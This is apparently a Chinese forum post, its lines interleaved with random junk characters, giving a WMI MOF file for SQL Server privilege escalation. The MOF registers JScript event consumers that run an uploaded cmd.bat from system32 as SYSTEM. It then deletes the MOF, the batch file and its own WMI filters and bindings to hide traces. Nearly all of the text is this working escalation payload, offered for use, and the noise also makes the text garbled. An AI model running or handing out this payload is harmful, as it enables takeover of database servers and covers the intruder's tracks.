这个sql提权MOF需要运行 system下的文件,不能定义路径。
( Q2 D% C' ]9 y, r8 ~' Y需要将要运行的命令写入到bat上传到system32目录,然后执行。' J# k2 I: k: l* f
9 n x: [! v2 B
这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ B7 j9 ?' \1 {9 m" e需要将要运行的命令写入到bat上传到system32目录,然后执行。
5 r# L- L& ?/ s- Z& C* \4 ~
# ^& @ q0 ^1 n3 {6 y: n#pragma2 o$ F3 Q; H. `2 d9 q( ^+ D9 u- z
namespace("\\\\.\\root\\cimv2"): I( J }3 p0 e' W- f; t
class
0 G3 \3 _/ w9 Z9 W MyClass547; u7 a* ~; O, i2 H( G4 L1 e
{ [key]
7 D) |3 `: c( N! i6 `5 W! | string& E r. r f. U
Name;+ s1 J( l( ~0 |
};
& @/ F, X9 E' D" [ class
9 p8 `) c2 E% P7 h ActiveScriptEventConsumer* v x2 t5 y* k
: __EventConsumer { [key]
4 [+ Y: T& X j/ S& G h string; h* [$ X7 Y. y" G* H G' @" N
Name; [not_null]
& [1 j$ z6 \ X5 I1 I string
! x9 T e, u8 e, t+ H/ G S& S: L ScriptingEngine; string( m$ F! s" }& o r" _4 j% a
ScriptFileName; [template]
! G3 |; W4 T) v string
" J F, G. v& ]5 y @: W ScriptText; uint32 KillTimeout;
9 \! I" S! m1 O4 c }; instance of __Win32Provider as $P {
3 U* O$ P# u& s% L3 J Name- j- K5 g, P! F0 Z- A _% p7 y+ o
=
, b2 j5 [. D- p1 S2 ? "ActiveScriptEventConsumer"; CLSID =: t9 R/ R& A+ @+ \" @' n8 A
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
6 f4 z' \: d+ E' a6 O% g PerUserInitialization
. R1 V$ d2 O! a$ J1 q7 F' a = TRUE;
. y8 q9 {$ F+ M! D e }; instance of __EventConsumerProviderRegistration { Provider( A+ K0 {- [% w& ~# g, N
= $P; ConsumerClassNames5 I' Y. M/ @+ _+ r2 y- P+ ^
=" ], m2 i/ O, S: J8 [/ \
{"ActiveScriptEventConsumer"};, X2 p; u/ E7 R: G& b
};
: W& R- H* w' E- z1 _. P& e' ~ Instance of ActiveScriptEventConsumer
, g( o# Q2 \- y3 a& B as $cons { Name
( B$ Y* F' }5 M) k9 x* H =
7 T; w4 R4 Z! X+ @' k( h4 w& E4 t "ASEC"; ScriptingEngine& K& t v- A! z' i3 H
=6 g4 [2 n& n0 B, r# y7 t# X' |, K# p
"JScript"; ScriptText
; ?, e1 ~3 N; B& g =9 U" M8 _" n5 h- o5 X8 t8 ^4 y
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
/ p1 g$ A2 ^! l) k' {9 Q* P Instance of ActiveScriptEventConsumer2 j& z: `4 N& h- A" t
as $cons2 { Name
1 t, G) |4 m$ n) I( Z2 C =# `0 a, W. o6 [: T& q' u) B
"qndASEC"; ScriptingEngine
" T$ ]& @5 ^( r5 Q- O0 L =
' r4 F0 d" [+ z( d5 A3 V: r( g6 { "JScript"; ScriptText8 M# W: k# ]* w( ~! L9 t$ a! s1 Q, M5 c' G
=" F2 h# |% J p/ H1 V. D4 w, j
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
( V) ^" l; G% {4 t/ H. Q4 ` }; instance of __EventFilter as $Filt { Name+ N8 S" o! r" O5 |3 I
=: V3 X3 e- E; k3 s7 t! Z
"instfilt"; Query
2 O3 u+ S* F Y7 J, T: y =4 a; f- R- n1 l5 y
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
* j, b- g7 ~8 W. t1 Y =
5 `3 o2 Y$ D4 V4 }5 G2 h "WQL"; }; instance of __EventFilter as $Filt2 { Name; ?; P5 o6 v! v% a7 n
=
B1 @4 g: }1 w2 \ "qndfilt"; Query# m+ D9 t) F* B9 H
=
9 H$ {9 e- w% d1 f "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
3 C* F/ |5 t) g8 F =( k* A& h# X3 M# L
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
9 J# [9 ]! o: e! [ = $cons; Filter
& h3 O E6 h$ b9 i3 f3 D = $Filt;: `6 `2 c2 p, m! d1 ^! X' J
}; instance of __FilterToConsumerBinding as $bind2 { Consumer( E8 L9 J2 F! Q9 q9 [. E: W
= $cons2; Filter4 H4 |3 [; H! C# _! j; x5 k
= $Filt2;! r: x. X2 p m- d% l' ]" |% @/ M
}; instance of MyClass547* h& A. C1 p3 D/ S M
as $MyClass { Name
# a% Q9 m0 i+ E =# ?2 Z$ m' u: p
"ClassConsumer";
4 ~$ [: S4 O; p+ Z0 D% b }; |